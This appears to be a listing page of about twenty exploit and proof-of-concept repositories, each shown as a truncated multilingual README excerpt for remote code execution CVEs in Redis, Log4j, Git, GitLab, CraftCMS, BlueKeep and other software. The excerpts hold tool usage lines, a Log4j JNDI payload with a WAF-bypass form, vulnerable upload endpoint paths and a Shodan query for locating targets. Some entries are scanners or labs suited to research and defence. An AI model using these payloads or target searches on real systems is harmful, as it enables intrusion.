CVE-2022-0543

CVE-2022-0543 1. مقدمة ثغرة الهروب من بيئة Redis المعزولة CVE-2022-0543 POC&EXP 2. الاستخدام RedisRCE -help عرض معلومات المساعدة RedisRCE -h 192.168.0.100:6379 اتصال بدون كلمة مرور //أدخل q للخروج من البرنامج RedisRCE -h 192.168.0.100:6379 -p 123456 اتصال بكلمة مرور 3. إخلاء المسؤولية هذه الأداة...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution RCE Authenticated Date: 13.03.2022 Exploit Author: Ashish Koli Shikari Vendor Homepage: https://github.com/pluck-cms/pluck Version: 4.7.16 Tested on Ubuntu 20.04.3 LTS CVE: CVE-2022-26965...

git_rce

CVE-2024-32002: استغلال تنفيذ التعليمات البرمجية عن بُعد في Git عبر git clone يحتوي هذا المستودع على إثبات مفهوم PoC لاستغلال CVE-2024-32002، وهي ثغرة أمنية في Git تسمح بتنفيذ التعليمات البرمجية عن بُعد أثناء عملية git clone. من خلال إنشاء مستودعات تحتوي على وحدات فرعية بطريقة محددة، يمكن للمهاجم...

Spring-Cloud-Gateway-CVE-2022-22947

Spring-Cloud-GatewayCVE-2022-22947 Spring Cloud Gateway Remote Code Execution Vulnerability python3 springrce.py url cmd There is a cache, execute it several times...

CVE-2016-2555

استغلال CVE-2016-2555 يستهدف هذا الاستغلال ثغرة حقن SQL وثغرة ضعف المصادقة في ATutor 2.2.1. من خلال استغلال هذه الثغرات، يمكن للمهاجم رفع شيفرة خبيثة لتحقيق تنفيذ الأوامر عن بُعد RCE على الخادم الضعيف. الاستخدام $ python3 CVE-2016-2555.py target:port مثال: $ python3 CVE-2016-2555.py 127.0.0.1:808...

Log4J_0day_RCE

انضم إلى المجتمع تيليغرام CVE-2021-44228Apache Log4j تنفيذ التعليمات البرمجية عن بُعد） الإصدارات المتأثرة يمكنك استخدام JNDI-Injection-Exploit للاستغلال. تجاوز rc1 على سبيل المثال: $jndi:ldap://127.0.0.1:1389/ badClassName تجاوز WAF $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...

log4shell-docker-lab

Log4Shell docker lab for CVE-2021-44228 The components This docker lab makes use of three components, being: The vulnerable spring-boot application An HTTP server that hosts .class files used for remote code execution An LDAP referral server which redirects specific LDAP queries to the HTTP serve...

cve-2021-31630

This script automatically exploits vulnerability in OpenPLC Web Server v3 You will be able to create an automatic Rever Shell with the server without having to use manual techniques. CVE-2021-31630 Detail Command Injection in Open PLC Webserver v3 allows remote attackers to execute arbitrary code...

CVE-2019-0708

CVE-2019-0708 BlueKeep POC RCE pré-authentification sur Windows7 Ce dépôt démontre le bug d'exécution de code à distance dans les services Remote Desktop Services RDS de Windows. Voici un code POC et un rapport technique sur la vulnérabilité BlueKeep, que nous avons développés auparavant. NOTE :...

Spring4shell

Spring4shell Spring4shell...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635, MS15-034 Vulnerability Detection USAGE python MS15-034.py www.xxx.com:80 Test Program HTTP.sys Remote Code Execution Vulnerability CVE-2015-1635, MS15-034 A remote code execution vulnerability exists in the HTTP protocol stack HTTP.sys when HTTP.sys does not properly...

CVE-2024-29824

CVE-2024-29824: Ivanti EPM SQL Injection Remote Code Execution Vulnerability Proof of concept exploit to blindly execute commands on vulnerable Ivanti EPM appliances. Blog Post Deep dive and indicators of compromise here:...

OA-tongda-RCE

OA-tongda-RCE | Office Anywhere نظام المكاتب الذكي الشبكي الحصول على Shell عبر الواجهة الخلفية بدون الحاجة إلى مصادقة 1. ثغرة رفع ملفات تعسفية /ispirit/im/upload.php 2. ثغرة تضمين الملفات المحلية /ispirit/interface/gateway.php تجاوز تنفيذ الأوامر: exec"cmd /c ".$command; $stdout = $exec-StdOut;...

CVE-2025-30406

Part1: Exploit λ CVE-2025-30406.exe rce.txt...

exploit-CVE-2016-10033

PHPMailer 5.2.18 تنفيذ الأوامر عن بُعد PHPMailer هي أشهر فئة نقل في العالم، مع ما يقدر بـ 9 ملايين مستخدم حول العالم. تستمر التنزيلات بوتيرة كبيرة يوميًا. تُستخدم من قبل العديد من المشاريع مفتوحة المصدر: WordPress، Drupal، 1CRM، SugarCRM، Yii، Joomla! وغيرها الكثير. يعاني PHPMailer قبل الإصدار...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

CVE-2025-32432

CraftCMS CVE-2025-32432 Exploit By Chirag Artani Overview This repository contains a proof-of-concept exploit script for CVE-2025-32432, a pre-authentication Remote Code Execution RCE vulnerability affecting CraftCMS versions 4.x and 5.x. The vulnerability exists in the asset transform generation...

CVE-2022-2185

CVE-2022-2185 استغلال CVE-2022-2185 RCE موثّق في GitLab اقرأ: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ كيفية الاستخدام أولاً، قم بتشغيل نسخة من GitLab. سجّل الدخول، وأنشئ مجموعة ومشروعًا باسم فريد. وأنشئ رمز وصول. قم بتعديل هذه الأسطر في main.go ثم قم...

CVE-2021-22893

CVE-2021-22893 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Pulse Connect Secure CVE-2021-22893 Shodan : https://www.shodan.io/search?query=http.component%3A%22pulse+secure%22...

CVE-2019-0708-Msf--

CVE-2019-0708 Unauthenticated CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. Technical details: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit Module The Metasploit module has been pulled to rapid7:master. msf5 use...